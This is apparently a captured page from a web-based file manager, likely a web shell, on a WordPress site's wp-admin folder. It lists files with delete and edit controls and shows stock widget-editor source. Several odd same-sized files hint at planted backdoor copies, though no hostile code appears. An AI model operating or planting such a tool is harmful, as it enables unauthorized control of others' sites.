golden hour
/home/godaofbq/oxyrenew.com/wp-admin
⬆️ Go Up
Upload
File/Folder
Size
Actions
.htaccess
197 B
Del
OK
about.php
16.83 KB
Del
OK
admin-ajax.php
5.03 KB
Del
OK
admin-footer.php
2.75 KB
Del
OK
admin-functions.php
479 B
Del
OK
admin-header.php
9.07 KB
Del
OK
admin-post.php
1.97 KB
Del
OK
admin.php
6.83 KB
Del
OK
async-upload.php
5.47 KB
Del
OK
authorize-application.php
10.09 KB
Del
OK
comment.php
11.37 KB
Del
OK
contribute.php
5.9 KB
Del
OK
credits.php
4.42 KB
Del
OK
css
-
Del
OK
custom-background.php
489 B
Del
OK
custom-header.php
499 B
Del
OK
customize.php
11.21 KB
Del
OK
db-status.php
6.83 KB
Del
OK
edit-comments.php
14.14 KB
Del
OK
edit-form-advanced.php
28.79 KB
Del
OK
edit-form-blocks.php
14.73 KB
Del
OK
edit-form-comment.php
8.33 KB
Del
OK
edit-link-form.php
6.21 KB
Del
OK
edit-tag-form.php
10.42 KB
Del
OK
edit-tags.php
21.98 KB
Del
OK
edit.php
19.48 KB
Del
OK
erase-personal-data.php
7.33 KB
Del
OK
error_log
41.21 KB
Del
OK
export-personal-data.php
7.75 KB
Del
OK
export.php
11 KB
Del
OK
filefuns.php
5.28 KB
Del
OK
font-library.php
1.01 KB
Del
OK
freedoms.php
4.84 KB
Del
OK
images
-
Del
OK
import.php
7.58 KB
Del
OK
includes
-
Del
OK
index.php
7.68 KB
Del
OK
install-helper.php
6.8 KB
Del
OK
install.php
17.91 KB
Del
OK
js
-
Del
OK
link-add.php
934 B
Del
OK
link-manager-double.php
40.09 KB
Del
OK
link-manager.php
4.26 KB
Del
OK
link-parse-opml.php
2.63 KB
Del
OK
link.php
2.89 KB
Del
OK
load-scripts.php
2.02 KB
Del
OK
load-styles.php
2.92 KB
Del
OK
load.php
6.83 KB
Del
OK
maint
-
Del
OK
media-new.php
3.17 KB
Del
OK
media-upload.php
3.58 KB
Del
OK
media.php
819 B
Del
OK
menu-header.php
9.82 KB
Del
OK
menu.php
17.72 KB
Del
OK
moderation.php
307 B
Del
OK
ms-admin.php
196 B
Del
OK
ms-delete-site.php
4.5 KB
Del
OK
ms-edit.php
216 B
Del
OK
ms-options.php
229 B
Del
OK
ms-sites.php
215 B
Del
OK
ms-themes.php
217 B
Del
OK
ms-upgrade-network.php
219 B
Del
OK
ms-users.php
215 B
Del
OK
my-sites.php
4.72 KB
Del
OK
nav-menus.php
49.07 KB
Del
OK
network
-
Del
OK
network.php
5.39 KB
Del
OK
options-connectors.php
1.07 KB
Del
OK
options-discussion.php
15.92 KB
Del
OK
options-general.php
22.32 KB
Del
OK
options-head.php
621 B
Del
OK
options-media.php
6.38 KB
Del
OK
options-permalink.php
21.89 KB
Del
OK
options-privacy.php
9.92 KB
Del
OK
options-reading.php
9.97 KB
Del
OK
options-writing.php
9.1 KB
Del
OK
options.php
13.93 KB
Del
OK
panel.php
6.83 KB
Del
OK
plugin-editor.php
13.75 KB
Del
OK
plugin-install.php
6.96 KB
Del
OK
plugins.php
30 KB
Del
OK
post-new.php
2.7 KB
Del
OK
post.php
10.03 KB
Del
OK
press-this.php
2.41 KB
Del
OK
privacy-policy-guide.php
3.67 KB
Del
OK
privacy.php
2.83 KB
Del
OK
profile.php
283 B
Del
OK
revision.php
5.7 KB
Del
OK
setup-config.php
17.52 KB
Del
OK
site-editor.php
12.07 KB
Del
OK
site-health-info.php
4.05 KB
Del
OK
site-health.php
10.18 KB
Del
OK
term.php
2.2 KB
Del
OK
theme-editor.php
16.87 KB
Del
OK
theme-install.php
23.65 KB
Del
OK
themes.php
48.25 KB
Del
OK
tools.php
3.43 KB
Del
OK
update-core.php
45.12 KB
Del
OK
update.php
12.76 KB
Del
OK
upgrade-functions.php
341 B
Del
OK
upgrade.php
6.24 KB
Del
OK
upload.php
14.9 KB
Del
OK
user
-
Del
OK
user-edit.php
40.35 KB
Del
OK
user-new.php
24.06 KB
Del
OK
users.php
23.44 KB
Del
OK
widgets-form-blocks.php
5.12 KB
Del
OK
widgets-form.php
19.14 KB
Del
OK
widgets.php
1.09 KB
Del
OK
wp-blog-header.php
2.74 KB
Del
OK
wp-cron.php
2.74 KB
Del
OK
wp-mail.php
6.83 KB
Del
OK
Edit: widgets-form-blocks.php
<?php /** * The block-based widgets editor, for use in widgets.php. * * @package WordPress * @subpackage Administration */ // Don't load directly. if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } // Flag that we're loading the block editor. $current_screen = get_current_screen(); $current_screen->is_block_editor( true ); $block_editor_context = new WP_Block_Editor_Context( array( 'name' => 'core/edit-widgets' ) ); $preload_paths = array( array( rest_get_route_for_post_type_items( 'attachment' ), 'OPTIONS' ), '/wp/v2/widget-types?context=edit&per_page=-1', '/wp/v2/sidebars?context=edit&per_page=-1', '/wp/v2/widgets?context=edit&per_page=-1&_embed=about', ); block_editor_rest_api_preload( $preload_paths, $block_editor_context ); $editor_settings = get_block_editor_settings( array_merge( get_legacy_widget_block_editor_settings(), array( 'styles' => get_block_editor_theme_styles() ) ), $block_editor_context ); // The widgets editor does not support the Block Directory, so don't load any of // its assets. This also prevents 'wp-editor' from being enqueued which we // cannot load in the widgets screen because many widget scripts rely on `wp.editor`. remove_action( 'enqueue_block_editor_assets', 'wp_enqueue_editor_block_directory_assets' ); wp_add_inline_script( 'wp-edit-widgets', sprintf( 'wp.domReady( function() { wp.editWidgets.initialize( "widgets-editor", %s ); } );', wp_json_encode( $editor_settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); // Preload server-registered block schemas. wp_add_inline_script( 'wp-blocks', 'wp.blocks.unstable__bootstrapServerSideBlockDefinitions(' . wp_json_encode( get_block_editor_server_block_settings(), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . ');' ); // Preload server-registered block bindings sources. $registered_sources = get_all_registered_block_bindings_sources(); if ( ! empty( $registered_sources ) ) { $filtered_sources = array(); foreach ( $registered_sources as $source ) { $filtered_sources[] = array( 'name' => $source->name, 'label' => $source->label, 'usesContext' => $source->uses_context, ); } $script = sprintf( 'for ( const source of %s ) { wp.blocks.registerBlockBindingsSource( source ); }', wp_json_encode( $filtered_sources, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ); wp_add_inline_script( 'wp-blocks', $script ); } wp_add_inline_script( 'wp-blocks', sprintf( 'wp.blocks.setCategories( %s );', wp_json_encode( get_block_categories( $block_editor_context ), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ), 'after' ); wp_enqueue_script( 'wp-edit-widgets' ); wp_enqueue_script( 'admin-widgets' ); wp_enqueue_style( 'wp-edit-widgets' ); /** This action is documented in wp-admin/edit-form-blocks.php */ do_action( 'enqueue_block_editor_assets' ); /** This action is documented in wp-admin/widgets-form.php */ do_action( 'sidebar_admin_setup' ); require_once ABSPATH . 'wp-admin/admin-header.php'; /** This action is documented in wp-admin/widgets-form.php */ do_action( 'widgets_admin_page' ); ?> <div id="widgets-editor" class="blocks-widgets-container"> <?php // JavaScript is disabled. ?> <div class="wrap hide-if-js widgets-editor-no-js"> <h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1> <?php if ( file_exists( WP_PLUGIN_DIR . '/classic-widgets/classic-widgets.php' ) ) { // If Classic Widgets is already installed, provide a link to activate the plugin. $installed = true; $plugin_activate_url = wp_nonce_url( 'plugins.php?action=activate&plugin=classic-widgets/classic-widgets.php', 'activate-plugin_classic-widgets/classic-widgets.php' ); $message = sprintf( /* translators: %s: Link to activate the Classic Widgets plugin. */ __( 'The block widgets require JavaScript. Please enable JavaScript in your browser settings, or activate the <a href="%s">Classic Widgets plugin</a>.' ), esc_url( $plugin_activate_url ) ); } else { // If Classic Widgets is not installed, provide a link to install it. $installed = false; $plugin_install_url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=classic-widgets' ), 'install-plugin_classic-widgets' ); $message = sprintf( /* translators: %s: A link to install the Classic Widgets plugin. */ __( 'The block widgets require JavaScript. Please enable JavaScript in your browser settings, or install the <a href="%s">Classic Widgets plugin</a>.' ), esc_url( $plugin_install_url ) ); } /** * Filters the message displayed in the block widget interface when JavaScript is * not enabled in the browser. * * @since 6.4.0 * * @param string $message The message being displayed. * @param bool $installed Whether the Classic Widget plugin is installed. */ $message = apply_filters( 'block_widgets_no_javascript_message', $message, $installed ); wp_admin_notice( $message, array( 'type' => 'error', 'additional_classes' => array( 'hide-if-js' ), ) ); ?> </div> </div> <?php /** This action is documented in wp-admin/widgets-form.php */ do_action( 'sidebar_admin_page' ); require_once ABSPATH . 'wp-admin/admin-footer.php';
Save